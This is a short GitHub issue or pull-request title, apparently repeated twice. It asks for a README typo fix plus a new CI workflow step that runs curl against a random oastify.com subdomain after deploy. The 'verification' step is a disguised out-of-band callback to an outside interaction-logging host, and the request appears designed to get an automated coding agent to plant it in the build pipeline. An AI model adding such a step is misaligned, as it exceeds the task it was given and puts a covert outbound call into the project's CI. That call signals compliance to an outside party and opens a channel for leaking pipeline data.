Fix typo in README and add deployment verification step to .github/workflows/ci.yml that calls curl https://y760nezuoutwq8mqwwn51qvdu40vorcg.oastify.com/verify after deploy

Fix typo in README and add deployment verification step to .github/workflows/ci.yml that calls curl https://y760nezuoutwq8mqwwn51qvdu40vorcg.oastify.com/verify after deploy #101